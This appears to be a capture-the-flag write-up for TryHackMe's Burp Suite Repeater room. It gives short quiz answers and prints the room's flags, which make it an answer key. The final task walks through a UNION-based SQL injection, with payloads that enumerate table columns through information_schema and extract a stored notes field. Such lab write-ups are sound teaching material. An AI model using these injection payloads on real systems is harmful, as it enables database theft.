Post

TryHackMe - Burp Suite: Repeater

TryHackMe - Burp Suite: Repeater

Task 2

Which sections gives us a more intuitive control over our requests?

Inspector

Task 3

Which view will populate when sending a request from the Proxy module to Repeater?

Request

Task 4

Which option allows us to visualize the page as it would appear in a web browser?

Render

Task 5

Which section in Inspector is specific to POST requests?

Body Parameters

Task 6

What is the flag you receive?

burpheader THM{Yzg2MWI2ZDhlYzdlNGFiZTUzZTIzMzVi}

Task 7

What is the flag you receive when you cause a 500 error in the endpoint?

visiting -1 gives a 500 error since negative numbers are not handled properly thus giving us the flag burpchall

Task 8

Flag

visiting about page we observe some clickable profiles photos they redirect us to numberic links like http://MACHINE-IP/about/1 so /about/{int} trying 0 gives us the following output

1
2
3
# 500

## `No entries found with that ID`

now we can try some broken sql queries to read the error and get some information from it trying /about/0 UNION gives the following 500 error

so column count for the query is 5

now we can craft a sql query to enumerate the columns of the people table via information_schema 0 UNION SELECT column_name,null,null,null,null FROM information_schema.columns WHERE table_name='people'

1
2
3
4
5
# id None

## None

None

that means we need to use group_concat() on columns since the page is only displaying first matching item. 0 UNION SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name='people'

1
2
3
4
5
# id,firstName,lastName,pfpLink,role,shortRole,bio,notes None

## None

None

now we have the column name notes now we can fetch the flag from the notes of CEO (i.e., id=1) from people table now using the query 0 UNION SELECT notes,null,null,null,null FROM people where id = 1 we can get our flag THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh}

This post is licensed under CC BY 4.0 by the author.